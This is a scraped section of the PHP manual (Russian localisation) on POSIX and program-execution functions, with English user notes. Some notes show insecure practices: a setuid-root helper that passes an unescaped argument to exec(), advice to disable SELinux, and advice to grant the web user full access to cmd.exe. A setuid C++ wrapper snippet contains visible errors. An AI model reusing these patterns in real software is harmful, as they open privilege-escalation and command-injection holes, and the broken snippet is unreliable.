On many UNIX systems (tested on Debian GNU/Linux), SUID is disabled for scripts and works only for binaries. If you need to setuid, you must use a wrapper binary that runs setuid() php script. Here's an example:

$ nano suexec.cpp
#include <stdlib>
using namespace std;
int main()
{
system("php /home/php/php_user.php");
return 0;
}

$ g++ -o suexec suexec.cpp
$ sudo chown root:root suexec
$ sudo chmod 4755 root

Then we create short PHP script to set process uid (you should already know how to do this). Don't even try to experiment with auto_prepend_file in php.ini, it doesn't work as expected.
hpaul/at/abo/dot/fi 29-Jul-2006 11:56
It seems like this function returns true if you try to change uid to the already active user - even if you aren't root.

Should save you one if-statement in some cases.
rjmooney at syr dot edu 09-Nov-2003 03:40
For simple operations, you can easily create a privilege-separation mechanism to perform commands that require elevated privileges.

For example, in creating a document repository, I had the need to provide access to certain directory and file operations based on a user's login name.  It's unrealistic and unsecure to provide the web server access to all of the directories that the user may need to access, so I created a setuid() script to perform the required operations for me.

An exerpt from the code demonstrates this:

<?

//
// main.php
//

// Perform a privileged stat()
function privsep_stat($path)
{
        // Call the privilege separation program, ask for a stat of the specified path
        $serialized_result = exec("/path/to/privsep.php stat " . $path, $oa, $return_code);
        if ($return_code != 0)
        {
                return false;
        }

        // Return the unserialized object
        return unserialize($serialized_result);
}

// Get file statistics on a file we don't have access to as the web server user
$st = privsep_stat("/private_directory/private_file");
print_r($st);

?>

privsep.php looks like this:

#!/usr/local/bin/php
<?

//
// privsep.php
//

// Don't allow this script to be run from the web
if (isset($_SERVER['REQUEST_METHOD']))
{
    print "<br>This program is not intended to be run directly from the WWW.\n";
    return 1;
}

// TODO: add your argument validation here

// A stat was requested
if ($argv[1] == "stat")
{
    // Reset the stat() cache
    clearstatcache();

    // Original user ID
    $original_uid = posix_get_uid();

    // Set our real user ID to root
    $success = posix_setuid(0);
    if (!$success)
    {
        print "Error: Cannot setuid().\n";
        return 1;
    }

    // Store the file statistics
    $st = stat($argv[2]);

    // Drop the real UID back to the calling user ID
    $success = posix_setuid($original_uid);
    if (!$success)
    {
        print "Error: Cannot setuid().\n";
        return 1;
    }

    // Drop the effective UID as well
    $success = posix_seteuid($original_uid);
    if (!$success)
    {
        print "Error: Cannot seteuid().\n";
        return 1;
    }

    // Serialize the result and print it
    $result = serialize($st);
    print $result;

    // Success!
    return 0;
}
?>

Finally, privsep.php's permissions are configured like this:

# chown root:wheel privsep.php
# chmod 4755 privsep.php

And look like this:

-rwsr-xr-x  1 root      wheel     1000 Nov  1 00:00 privsep.php

It's probably wise to keep privsep.php out of your document root to help mitigate any successful attack.

This method can be extended for other functions.  Use at your own risk.
simon at dont-spam-me-pleease dot simonster dot com 02-Aug-2002 03:53
Here's some Perl code to run a PHP script setuid. Just put it into a CGI, make that CGI setuid and executable, then call the CGI where you would usually call the PHP script.

#!/usr/local/bin/perl

# Perl wrapper to execute a PHP script setuid
# ?2002 Simon Kornblith
# Requires PHP CGI

# Make UID = EUID (so that PHP can run system()s and execs() setuid)
$< = $>;
# Set this to the path, so that we can't get poisoned
$ENV{'PATH'} = "/home/httpd/cgi-bin/ssl/admin";
# Open the PHP script (must start with !#/usr/local/bin/php or similar and
# be executable
open(STDOUT, "| /home/httpd/cgi-bin/ssl/admin/new.php");
# Write STDIN to PHP script
print while <STDIN>;


Возвращает системное сообщение об ошибке, основываясь на полученном номере ошибки

  • « posix_setuid
  • posix_sysconf »
  • PHP Manual
  • POSIX Функции
  • Возвращает системное сообщение об ошибке, основываясь на полученном номере ошибки

posix_strerror

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

posix_strerror — Возвращает системное сообщение об ошибке, основываясь на полученном номере ошибки

Описание

posix_strerror(int $error_code): string

Возвращает POSIX системное сообщение об ошибке, связанное с полученным в параметре error_code номером. Вы можете получить параметр error_code с помощью вызова функции posix_get_last_error().

Список параметров

error_code

POSIX номер ошибки, полученный из функции posix_get_last_error(). Если передано значение 0, то будет возвращено сообщение "Success".

Возвращаемые значения

Возвращает строку с сообщением об ошибке.

Примеры

Пример #1 Пример использования posix_strerror()

Данный скрипт пытается завершить несуществующий процесс, в следствие чего будет выведено соответствующее сообщение об ошибке.

<?php
posix_kill(50,SIGKILL);
echo posix_strerror(posix_get_last_error())."\n";
?>

Результатом выполнения данного примера будет что-то подобное:

No such process

Смотрите также

  • posix_get_last_error() - Возвращает номер ошибки, которая произошла в последней posix функции, завершившейся неудачей

User Contributed Notes

There are no user contributed notes for this page.


Returns system runtime information

  • « posix_strerror
  • posix_times »
  • PHP Manual
  • POSIX Функции
  • Returns system runtime information

posix_sysconf

(PHP 8 >= 8.3.0)

posix_sysconf — Returns system runtime information

Описание

posix_sysconf(int $conf_id): int

Returns system runtime information.

Список параметров

conf_id

Identifier of the variable with the following constants POSIX_SC_ARG_MAX, POSIX_SC_PAGESIZE POSIX_SC_NPROCESSORS_CONF, POSIX_SC_NPROCESSORS_ONLN

Возвращаемые значения

Returns the numeric value related to conf_id

Примеры

Пример #1 posix_sysconf() example

Returns the number of active cpus.

<?php
echo posix_sysconf(POSIX_SC_NPROCESSORS_ONLN);
?>

Результат выполнения данного примера:

2

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию об использовании процессорного времени

  • « posix_sysconf
  • posix_ttyname »
  • PHP Manual
  • POSIX Функции
  • Возвращает информацию об использовании процессорного времени

posix_times

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_times — Возвращает информацию об использовании процессорного времени

Описание

posix_times(): array|false

Возвращает информацию об уровне загрузки CPU.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив строк с информацией об текущем использовании CPU, который включает следующее

  • ticks - число тактов, прошедшее с момента перезагрузки.
  • utime - время пользователя, затраченное текущим процессом.
  • stime - системное время, затраченное текущим процессом.
  • cutime - время пользователя, затраченное текущим процессом и его дочерними процессами.
  • cstime - системное время, затраченное текущим процессом и его дочерними процессами..
Функция возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования posix_times()

<?php

$times = posix_times();

print_r($times);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [ticks] => 25814410
    [utime] => 1
    [stime] => 1
    [cutime] => 0
    [cstime] => 0
)

Примечания

Внимание

Данная функция не является надёжной в использовании и может вернуть неправильные значения.

User Contributed Notes

brain at winbot dot co dot uk 26-Jun-2004 06:14
doesnt work with freebsd. as stated above the clock ticks at different intervals on different platforms.

for system uptime consider piping the uptime command or similar, depending on if performance is an issue or not.
not_rich_yet at hotmail dot com 19-Jul-2003 04:21
If you want the output to be 'grammatically correct' then try the following code.  It will eg print '1 minute' as opposed to '1 minutes', the same goes for days and hours:

Put the following code somewhere in the head of the page code:

<?php
function uptime() {
if (!$times = posix_times() ) {
return ("unknown");
} else {
$now = $times['ticks'];
$days = intval($now / (60*60*24*100));
$remainder = $now % (60*60*24*100);
$hours = intval($remainder / (60*60*100));
$remainder = $remainder % (60*60*100);
$minutes = intval($remainder / (60*100));
if ($days == 1) {$writeDays = "day";} else {$writeDays = "days";}
if ($hours == 1) {$writeHours = "hour"; } else {$writeHours = "hours";}
if ($minutes == 1) {$writeMins = "minute";} else {$writeMins = "minutes";}
return ("$days $writeDays, $hours $writeHours, $minutes $writeMins");
}
}
?>

Then put this bit where you want the info displayed:

<?php
print uptime();
?>

Regards,

nry
murphy at nmc-online dot co dot uk 17-Jun-2003 11:01
I am not sure why, and it could just be me but on my FreeBSD system using
$time = posix_times();
$time['ticks'] is an enormous value that bears no relation to the system uptime (I tested by rebooting the system,  the number does not change).
I checked my timecounters, they tick every 10.000msec and I did the maths on the returned value and it suggested the machine had been up for over 200 days - it was reformatted about a week ago.
This could be to do with FreeBSD, or *BSD, or just *idiots like me but just check before you use the function.
 ~
FreeBSD 5.1-R, Apache 2.0.46, PHP4.3.2
rossz+php at vamos-wentworth dot org 20-Nov-2002 01:42
This function will return the system uptime as a human readable string such as "172 days, 18 hours, 15 minutes".  I didn't bother to handle singular so the grammar could be a bit off, e.g. 1 hours.

function uptime() {
  if (!$times = posix_times()) {
    return ("unknown");
  } else {
    $now = $times['ticks'];
    $days = intval($now / (60*60*24*100));
    $remainder = $now % (60*60*24*100);
    $hours = intval($remainder / (60*60*100));
    $remainder = $remainder % (60*60*100);
    $minutes = intval($remainder / (60*100));
    return ("$days days, $hours hours, $minutes minutes");
  }
}


Определяет имя терминального устройства

  • « posix_times
  • posix_uname »
  • PHP Manual
  • POSIX Функции
  • Определяет имя терминального устройства

posix_ttyname

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_ttyname — Определяет имя терминального устройства

Описание

posix_ttyname(resource|int $file_descriptor): string|false

Возвращает string, содержащую абсолютный путь до текущего терминального устройства, которое открыто и связано с файловым дескриптором file_descriptor.

Список параметров

file_descriptor

Файловый дескриптор, который ожидается в виде или ресурса resource или целого числа int. Под int подразумевается файловый дескриптор, который можно передать непосредственно в базовый системный вызов.

Возвращаемые значения

В случае успешного выполнения возвращает строку (string), содержащую абсолютный путь до терминала, связанного с файловым дескриптором file_descriptor. В случае неудачи возвращает false

Ошибки

При недопустимых целочисленных значениях параметра file_descriptor выдаётся ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.3.0 | Ошибки уровня E_WARNING теперь выдаются при преобразованиях целых чисел в соответствии с обычной семантикой преобразования типов PHP.
8.3.0 | При недопустимых целочисленных значениях параметра file_descriptor теперь выдаётся ошибка уровня E_WARNING.

Смотрите также

  • posix_isatty() - Определяет является ли файловый дескриптор интерактивным терминалом
  • stream_isatty() - Проверяет, является ли поток TTY

User Contributed Notes

casper at bcx dot nl 19-Apr-2006 07:10
<?php
    var_dump( posix_ttyname(STDOUT) );
?>

returns:
string(10) "/dev/pts/0"

When using pseudo terminal 1 (ie ssh)


Возвращает информацию о системе

  • « posix_ttyname
  • Запуск программы »
  • PHP Manual
  • POSIX Функции
  • Возвращает информацию о системе

posix_uname

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_uname — Возвращает информацию о системе

Описание

posix_uname(): array|false

Возвращает информацию о системе.

Posix требует, чтобы разработчики не полагались на определённый формат различных значений, например предположение, что номер релиза должен состоять из трёх чисел. Тоже касается и другой информации, возвращаемой данной функцией.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив с информацией о системе, включая следующие элементы:

  • sysname - название операционной системы (например Linux)
  • nodename - системное имя (например valiant)
  • release - номер релиза (например 2.2.10)
  • version - версия операционной системы (например #4 Tue Jul 20 17:01:36 MEST 1999)
  • machine - архитектура системы (например i586)
  • domainname - DNS имя домена (например example.com)

domainname это GNU расширение, а не часть POSIX.1, поэтому это поле доступно только для GNU систем или при использовании библиотеки GNU libc.

Функция возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования posix_uname()

<?php
$uname=posix_uname();
print_r($uname);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [sysname] => Linux
    [nodename] => funbox
    [release] => 2.6.20-15-server
    [version] => #2 SMP Sun Apr 15 07:41:34 UTC 2007
    [machine] => i686
)

User Contributed Notes

boards at gmail dot com 29-Jan-2006 09:24
Or, a simpler way to do that:

<?php
print_r(posix_uname());
?>

Should print something like:

Array
(
    [sysname] => Linux
    [nodename] => vaio
    [release] => 2.6.15-1-686
    [version] => #2 Tue Jan 10 22:48:31 UTC 2006
    [machine] => i686
)
sean at thedesignpeople dot com 09-Aug-2004 08:39
A simple example of how to loop thru and display the results of the posix_uname() function...

<?php
foreach(posix_uname() AS $key=>$value) {
    print $key .": ". $value ."<br>";
}
?>

The procedure above should return something similar to the following results:

sysname: Linux
nodename: node1
release: 2.4.26
version: #6 Mon Jun 14 19:07:27 PDT 2004
machine: i686


Запуск программ в системе

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции запуска программ
    • escapeshellarg — Экранировать строку для того, чтобы она могла быть использована как аргумент командной строки
    • escapeshellcmd — Экранировать метасимволы командной строки
    • exec — Выполнить внешнюю программу
    • passthru — Выполнить внешнюю программу и отобразить необработанный вывод
    • proc_close — Завершить процесс, открытый proc_open и вернуть код возврата этого процесса
    • proc_get_status — Получить информацию о процессе, открытом proc_open
    • proc_nice — Изменить приоритет текущего процесса
    • proc_open — Выполнить команду и открыть указатель на файл для ввода/вывода
    • proc_terminate — Уничтожить процесс, открытый при помощи функции proc_open
    • shell_exec — Выполнить команду через оболочку и вернуть вывод в виде строки
    • system — Выполнить внешнюю программу и отобразить вывод

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эти функции являются средствами запуска и защиты команд в системе.

Замечание:

Все функции запуска вызывают команды через cmd.exe в Windows. Следовательно, пользователь, вызывающий эти функции должен иметь соответствующие привилегии для запуска команды. Единственное исключение - это функция proc_open() с опцией bypass_shell.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Этот модуль задаёт ресурс процесса, возвращаемый функцией proc_open().

User Contributed Notes

There are no user contributed notes for this page.


Функции запуска программ

Примечания

Внимание

Открытые файлы с блокировкой (особенно открытые сессии) должны быть закрыты до выполнения программы в фоне.

Смотрите также

Эти функции также тесно связаны с оператором обратные кавычки (``).

Содержание

  • escapeshellarg — Экранировать строку для того, чтобы она могла быть использована как аргумент командной строки
  • escapeshellcmd — Экранировать метасимволы командной строки
  • exec — Выполнить внешнюю программу
  • passthru — Выполнить внешнюю программу и отобразить необработанный вывод
  • proc_close — Завершить процесс, открытый proc_open и вернуть код возврата этого процесса
  • proc_get_status — Получить информацию о процессе, открытом proc_open
  • proc_nice — Изменить приоритет текущего процесса
  • proc_open — Выполнить команду и открыть указатель на файл для ввода/вывода
  • proc_terminate — Уничтожить процесс, открытый при помощи функции proc_open
  • shell_exec — Выполнить команду через оболочку и вернуть вывод в виде строки
  • system — Выполнить внешнюю программу и отобразить вывод

User Contributed Notes

onkelfilemon at gmail dot com 25-Oct-2020 01:24
Note that `popen` is also a program execution function, which for some reason is not listed here.
HappyDog, kennel17.co.uk 04-Mar-2017 12:35
Just following up my previous post, in reply to lancelot--du-lac at hotmail dot fr:

The behaviour described was fixed in PHP 5.3 in the following commit:

https://github.com/php/php-src/commit/19322fc782af429938da8d3b421c0807cf1b848a#diff-15f2d3ef68f383a87cce668765721041R221

To replicate the fix in your own code, so it also runs on PHP 5.2, instead of:

<?php
$cmd = "...any shell command, maybe with multiple quotes...";
exec($cmd);
?>

use

<?php
$cmd = "...any shell command, maybe with multiple quotes...";

if (strtoupper(substr(php_uname('s'), 0, 3)) == "WIN"
    && version_compare(PHP_VERSION, "5.3", "<"))
{
    $cmd = '"' . $cmd . '"';
}

exec($cmd);
?>

This replicates the behaviour of PHP 5.3 and above.  Note that this applies to all shell commands (not just exec(), as used in my example).
benkitzelman at yahoo dot co dot uk 20-Aug-2010 08:02
Within Linux, when calling the php interpreter directly from popen, or other program execution function to execute a script, it appears as though the script perpetually fails and re-executes.

i.e. <?php popen("php myscript.php&", "w"); // fail ?>

As each re-execution causes the executing script to load under a new PID, it is incredibly difficult to identify and kill the process manually.

[One solution is] to ensure the executing script has a valid shebang, and execute permissions. This allows you to execute the script directly

i.e. <?php popen("./myscript.php", "w"); // ok ?>
Anonymous 09-Jul-2008 10:34
I found this comment on this page:

[begin of quote]
Trying to us the following code failed badly with various results: like "unable to fork", "access denied", "empty results", depending on what settings I used, ... even though the same code worked from command line on the server itself.

$retstr = exec('nslookup -type=mx myhost.com', $retarr);

Instead of nslookup I believe this would apply to most programs from the \system32\ directory.

I had to learn that the following finally worked:
$retstr = exec('c:\php\safedir\nslookup -type=mx myhost.com', $retarr);

... but only under the listed preconditions:
1: nslookup.exe is placed (copied) in the directory \php\safedir\
2: the directory \php\safedir\ is included in the system PATH environement variable
3: the file cmd.exe is placed in \php\ as listed by other notes above
4: the directory "c:\php\safedir\" is set in the php.ini setting
safe_mode_exec_dir = "c:\php\safedir\"
.. maybe set in php-activescript.ini as well, depending on your system setup.
5: nslookup is referenced by the full path as otherwise the file from \windows\system32\ will be called. This happend to me with empty result due to missing rights!

Hope this helps somebody saving some time and headaches.
[end of quote]

This is just to complicated. Only two things are needed:
1. Specific permissions for the IUSR account for read & execute to the cmd.exe in C:\Windows\System32 directory
2. Specific permissions for the IUSR account for read & execute to the command that's needed (example: nslookup.exe in C:\Widnows\System23 directory)

With just this two conditions the exec works fine

(This is for an IIS server running on a windows platform)
mosesdinakaran at yahoo dot co dot in 17-Mar-2008 06:49
Hi

     I had  problem with executing   exec(),shell_exec() (PHP is not running on Safe Mode).

     After spending some time I was able to find out that the Problem is  with SELinux enabled in my system.

      You can make sure about this by seeing the log  /var/log/messages
     So I disabled SELinux and now everything works.

     A Temporary  Disable to selinux #> setenforce 0;

     Since I felt this is not a good Idea I still went through some sites and find a solution which I felt good.

     Fedora's SELinux policy has some booleans - let's see what it has for our apache:
# /usr/sbin/getsebool -a | grep httpd
allow_httpd_anon_write -- off
allow_httpd_mod_auth_pam -- off
allow_httpd_sys_script_anon_write -- off
httpd_builtin_scripting -- on
httpd_can_network_connect -- off
httpd_can_network_connect_db -- off
httpd_can_network_relay -- off
httpd_disable_trans -- off
httpd_enable_cgi -- on
httpd_enable_ftp_server -- off
httpd_enable_homedirs -- on
httpd_rotatelogs_disable_trans -- off
httpd_ssi_exec --off
httpd_suexec_disable_trans -- off
httpd_tty_comm -- off
httpd_unified -- on

   From the above we can make sure that exec() is not working  because of this httpd_ssi_exec -- off   setting
  So I turned it On.

#> setsebool -P httpd_ssi_exec 1;

    Now I was able to see the output of shell_exec('ls -al')

Moses
luko post cz 29-Jan-2008 06:15
to lancelot:

it's simple exec($my_cmd) on windows executes 'cmd /c $my_cmd'
if there are any spaces in $my_cmd you have to put it in doublequotes:
cmd /c "$app $target" will work

further if there are any spaces in $app and $target they also have to be in doublequotes:
cmd /c ""$app" "$target""

therefore enclose your $cmd in two more doublequotes and dont forget to escape slashes \\

$cmd = "\"\"C:\\my path with spaces\\targetapp.exe\" \"C:\\mypathnospaces\\targetfile.xxx\"\"";

and exec($cmd) will work :)
no chdir anymore...
lancelot--du-lac at hotmail dot fr 24-Jan-2008 11:00
The note is about usage of exec() under windows...

In replay to k dot mitz dot NO_SPAM at att dot NO_SPAM dot net: why not enclose your $cmd in simple quotes instead?

Here is where i'm at right now (also TRYING to use exec() and passthru() on windows XP sp2):

you can do this:

$cmd = '"C:\my path with spaces\targetapp.exe" C:\mypathnospaces\targetfile.xxx';
exec($cmd);

The above works.
________

Or, you can put your script into your directory C:\my path with spaces\, and work with php directly from there:

$cmd = 'targetapp.exe "C:\my other path with spaces\targetfile.xxx"';
exec($cmd);

The above also works, provided of course your script has the correct working directory.
________

But... In your cmd.exe, you can issue:

"C:\my path with spaces\targetapp.exe" "C:\my other path with spaces\targetfile.xxx"

Although the above works perfectly in the cmd, the following php script does NOT work on my system:

$cmd = '"C:\my path with spaces\targetapp.exe" "C:\my other path with spaces\targetfile.xxx"';
exec($cmd,&$content);

Not that it sends an error, it just does nothing, and you get nothing written into your $content array... Not that I do understand why.
________

As far as my few tryings go, the root of the problem lies in the fact that the command to execute has two passages enclosed inside double quotes. Another command which I've had working in the cmd but NOT with php is:

'"C:\my path with spaces\Apache2\bin\Apache.exe" -w -n "Apache2" -k restart'

Maybe someone has a solution; I don't (other than using chdir).
jakster at gmx dot net 05-Jan-2008 04:56
To fork a process I use the following code

<?php

fclose(STDOUT);   //Close all output or it WON'T work
fclose(STDIN);
fclose(STDERR);

if(pcntl_fork()) {
    exit;            //Return to the caller
}

//Code to run in the background

pcntl_exec("/usr/bin/php",Array($_SERVER['argv'][1]));

?>

I call this script from my website with
<?php
function fork($script){        //run a forked php script relative to the document root. NO OUTPUT IS DISPLAYED!
    global $config;
    $cmd = "/usr/bin/php \"" . dirname($_SERVER['SCRIPT_FILENAME']) . "/includes/forked/forkHelper.php\" \"" . $script . "\"";
    exec($cmd);
}
?>
steve dot robinson at frogneck dot com 21-May-2007 07:46
If you are trying to use exec to run a cgi and output the contents via a php file, headers need to be seperated from the content and output seperately.

Also, at least in the case of the cgi I was attempting to execute, line feeds were missing, and some javascript didn't work as a result, so you may have to add line feeds back into the resulting output.  Here is the code I used to output my cgi properly...

<?PHP
putenv('REQUEST_METHOD=GET');

// to get your parameters passed into the cgi..
putenv('QUERY_STRING=' . $_SERVER['QUERY_STRING']);

//you will know you are past the header when you
//hit a blank line ('')
$inheader=true;
foreach($output as $val){
        if($val=='')
                $inheader=false;
        if($inheader)
                header($val);
        else
                echo($val . "\n"); // output contents
}
?>
php at fendy dot org 02-May-2007 05:51
Scheduling WinXP tasks with schtasks.exe and using PHP to execute the command, may sometime fail to work.

This is because, Apache does not have the privilege to access some of the System Files when placing the scheduling. The way I'd do: is by creating a normal user account and assign Apache service to logon as that account.

Open the 'services.msc' in the 'Run' window, look for Apache in the listing, right click and get to 'Properties'. Click at the second tab 'Log On' and fill in the 'This account' fields.

Of course, Apache needs to be installed as Service during its first setup.

Hope this helps anyone.

Fendy Ahmad
29-Jan-2007 08:16
it seams to me the best way would be to copy cmd.exe to a secure directory somewhere under your web directory, add it to the windows path and then call it from there using system commands. It seams as though that would get arround any security holes
Matt-kun 08-Dec-2006 10:50
Just a simple note to help people get rid of some headaches.

when using:
<?
       $filepath = "the path of the file";
       exec("program -command $filepath ");
       fopen($filepath,rw);
?>

Make sure you use  "\ " ( \ space) for the Linux\unix path and just " " space for fopen. These are both very basic things that you wouldn't normally think to cause a problem, but when you try to pass slashes to fopen it either breaks or even better works incorrectly =D. And vise versa for any programs that use "\ " for spaces in file paths/names.

I ran into this problem when using <? exec(" cp $path "); ?> and <? fopen("$path"); ?>. To fix it I used str_replace(" ","\ ",$path); and str_replace("\ ", " ",$path);

*Note this is alot of sudo code, and there are faster more effecient ways of doing the same operations, but I thought this might help those who were going crazy over filepaths =D.
t dot kramer at NOSPAM dot safetbus dot de 21-Sep-2006 02:21
Trying to us the following code failed badly with various results: like "unable to fork", "access denied", "empty results", depending on what settings I used, ... even though the same code worked from command line on the server itself.

$retstr = exec('nslookup -type=mx myhost.com', $retarr);

Instead of nslookup I believe this would apply to most programs from the \system32\ directory.

I had to learn that the following finally worked:
$retstr = exec('c:\php\safedir\nslookup -type=mx myhost.com', $retarr);

... but only under the listed preconditions:
1: nslookup.exe is placed (copied) in the directory \php\safedir\
2: the directory \php\safedir\ is included in the system PATH environement variable
3: the file cmd.exe is placed in \php\ as listed by other notes above
4: the directory "c:\php\safedir\" is set in the php.ini setting
safe_mode_exec_dir = "c:\php\safedir\"
.. maybe set in php-activescript.ini as well, depending on your system setup.
5: nslookup is referenced by the full path as otherwise the file from \windows\system32\ will be called. This happend to me with empty result due to missing rights!

Hope this helps somebody saving some time and headaches.
Thomas
judas dot iscariote at gmail dot com 01-Jun-2006 12:19
This functions are generally considered harmful,without proper input validation procedures are as worse as eval().

If what you are trying to do is possible using other mechanism, ** do it that way, even if it takes more time **.

Do not cry or blame PHP if your server gets "owned" due to a missing escapeshell*** in your code , you have been warned.
manokan at manokan dot net 17-Apr-2006 10:09
Lets make it even clearer, about the "unable to fork" error in exec().

By default Windows XP sets all permissions for cmd.exe for the temporary internet user account (IUSER-[computername]) to DENY. That overrides everthing.

You must modify the security on cmd.exe to give the IUSER-computername account at least read & execute and remove the DENY.
not at any dot com 23-Feb-2006 12:16
at LAST!  tenacity pays off, days trying every little thing!

I didn't want batch files.  I'm trying to use PHP to get rid of batch files.

I didn't want to call a file to parse the parameters to call a shell to call a file.  I've got "systems" right now with batches tiered three and five deep.

I just wanted to run stuff.

CALL, tested on WinXP, will be testing on more OSes right away, in PHP4 and 5, with exec, system, works with popen, and passthru.

here is my lame sample function.

//  CreateZip
    function createzip ($target, $archive)
    {   $ziputil = "call \"c:\\Program Files\\7-zip\\7z.exe\"";
        $archived = escapeshellarg($archive);
        $targeted = escapeshellarg($target);

        $shellcommand= $ziputil." a -tzip ".$archived." ".$targeted."\n";

  // all of the below are working in Win XP Pro
    passthru ($shellcommand);
    exec ($shellcommand);
    system ($shellcommand);
    shell_exec ($shellcommand);
    $proc= popen ($shellcommand, "r"); //$proc contains output

LONG PATH NAMES WITH SPACES IN THEM ON WINDOWS!

all in a big long concatenated command line with multiple quoted-filename parameters

shell scripting bliss!
valqk at lozenetz dot org 24-Nov-2005 04:05
If you are chrooting php into enviornment that doesn't have /bin/sh you can't execute any command! Even when you call
mail() and it calls sendmail ... well actually sendmail NEVER gets called because /bin/sh is not in the chroot!
SO in conclusion: YOU MUST HAVE /bin/sh TO EXECUTE SOMETHING!!!
VERY IMPORTNAT!
I've lost few days while find this, hope it helps someone!!!
manokan at manokan dot net 27-Oct-2005 03:01
Even more on the "unable to fork" error.

It was driving me crazy! I did check that the permissions were set for the IUSR_[server] account to read & exec cmd.exe. Yet still it failed. It wasn't until I got desperate that I happened to look in "special permissions." (Click the advanced tab underneath the regular list of permissions.) There I found that  somehow the IUSR_[server] account had a special permission DENYING access! Of course deny overrides everything else.

This was a newly set up install of XP pro. It must be the default of something (I'd guess IIS) to set this deny permission just to make our lives miserable.
abhilashp at clariontechnologies dot co dot in 29-Sep-2005 09:58
I faced the problem of putting a shell script as a backgroud process using both exec() and system() commands on a FreeBSD Server with PHP 4.4.0

I tried all the above mentioned methods but couldnt succeded, then i coded this script and am sure will work on all Linux flavors... See if ot helps you all guys...

I Put my Shell Script in the variable $ExecCommand

and used the proc_close and proc_open functions the code is as follows :

proc_close (proc_open ($ExecCommand,array(),$somefun));

After the above line the rest of the usual  php script continues....

Hope it helps you guys..
Shaun 26-Jan-2005 01:53
Trying to use 'exec' to run a helper executable on Win2K3 (and I'm told this also happens on Win2K) from a PHP script running on IIS, failed to invoke the executable.

Running the same PHP script on Win2K using Apache to serve the page calling the same helper executable worked.

Solution: On Win2K3 (and probably Win2K), give the IIS IUSR_xxxxx guest user Read & Execute permissions to Cmd.exe found in the System32 folder under Windows root directory.

This one had me confused longer than it should have! Hope this saves others from the same fate!
margus at kohv dot com 18-Jan-2005 03:10
Well, I had this issue when I wanted to start an indefinitely running PERL script from PHP. Somehow I could not make the PHP script to return after executing the PERL script. So finally I came to following solution:

PHP file
-------------------
<?php
exec("perl /home/chatserver.pl > /dev/null");
?>
-------------------
This script will be run over HTTP.

PERL file
-------------------
#!/usr/bin/perl
fork and exit 1;

# normal code here...
-------------------

Hopefully it helps someone :)
Margus
sean @T keenio - dot - com 09-Jan-2005 11:35
Just to clarify, background shell exec()ing is not the same as a fork() under Unix. It would be useful if PHP supported fork() like Perl and other scripting languages do. Simply exec()'ing a process and sending it to the background is not the same.

A true fork() copies the current environment and duplicates the running script so that there are two instances, one child, one parent. The child and parent can determine which copy they are and then take separate courses of execution paths based on that. Often one copy will perform some "busy work" while the other returns to normal execution. But no matter what, both functions live within the same code rather than a separate, external program. exec()ing can not do this for you.
sam at freepeers dot com 01-Oct-2004 05:51
To clarify even more about what has been said in the last few posts:

"exec", "backticks", "system" and so on will fail on Windows 2003 by default.

You must modify the security on cmd.exe to give the user account IUSR-computername the necessary permissions which are at least read & execute.
leaetherstrip at inbox dot ru 08-Jul-2004 02:23
Note on XP users: XP-Home edition does not allow to set rights directly on files and folders. You should use cacls command-line utility to do this.

For example:

cacls c:\windows\system32\cmd.exe /E /G IUSR_ADMIN2003:F

gives IIS user full access to cmd.exe (potential security hole!), so PHP can fork and execute external programs.
dotpointer 14-May-2004 06:02
Win32 / PHP 4.3.6...

If you plan to start programs on the server that show message boxes (things that require OK from the server-side), or remain (like notepad.exe), and the exec-command seems to go into an deadly loop, then MAYBE your program has started, but you can't see it. Because the web server runs as an system process, and it isn't allowed to interact with the desktop.

To solve a part of the problem (to see the programs you execute), in the control panel in Windows, goto Administration->Services, right-click the server-service, goto Properties and on the second tab (login?) and check the box about allowing the service to interact with the desktop. Click OK. Restart the webserver, and MAKE SURE it is restarted for real (i.e. look in the task manager so the service goes _down_), otherwise the desktop-option won't take.

Next phase would be to stop PHP from waiting for the processes to complete (this is what makes PHP "loop"). I solved this by creating a small Delphi-application that took the path to the file I wanted to execute and executed it by the WinExec API, which just starts the childprogram but doesn't wait for it to complete = the program completes and the PHP.exe completes the script. Problem solved!

Delphi-snippet:
WinExec(PChar(<CMD>),SW_SHOW); // replace <CMD> with the program path.
vosechu at roman-fleuve dot com 25-Mar-2004 06:35
Quick chart that helped me immensely (Best (+) / worst (o) of each command) and when to use each (w).

| exec(string cmd, [array cmd_output, [int cmd_exit_status]])
+- Second (optional) argument holds an array containing the output line by line.
+- Third (optional) argument holds the exit status of the executed program.
w- When the output of a command is only important to the program.

| system(string cmd, [int cmd_exit_status])
+- Echos ascii output straight to browser (only stdout; stderr must be redirected by putting 2>&1 after the command to see errors).
+- Second (optional) argument holds the exit status of the executed program.
w- When the output of a command is important to the user.

The more I go over my notes the less I care for the last two functions.
Shell_exec() = exec() + implode() - exit codes.
And while neccessary to be able to pipe binary through php, most people will never use passthru

| passthru(string cmd, [int cmd_exit_status])
+- Echos binary output directly to browser window.
+- Second (optional) argument holds the exit status of the executed program.
w- When the output of a command is binary.

| shell_exec(string cmd) <-- minimal features to maintain sync with normal use of backticks.
+- Returns full output as a string instead of directly to the browser (only stdout; stderr must be redirected).
o- No way to check exit status (Should use system() with both stderr and stdout redirected to /dev/null to get the exit code).
ferchland at computer-kontor dot de 22-Jan-2004 08:24
I tried to fork a GUI-process on WinNT, Apache 2, PHP4.
I saw the new process (notepad.exe) in the Task-Managers process-list, but no Notepad-Window anywhere!
After activating the checkbox "Interactive with Desktop allowed" in Services->Apache everthing works with a simple command
exec("start c:\\winnt\\notepad.exe");
dens at dodgeball dot com 18-Sep-2003 03:41
I was stuck for about an hour and a half last night trying to get Perl to pass back values to my PHP script after running an exec() command.

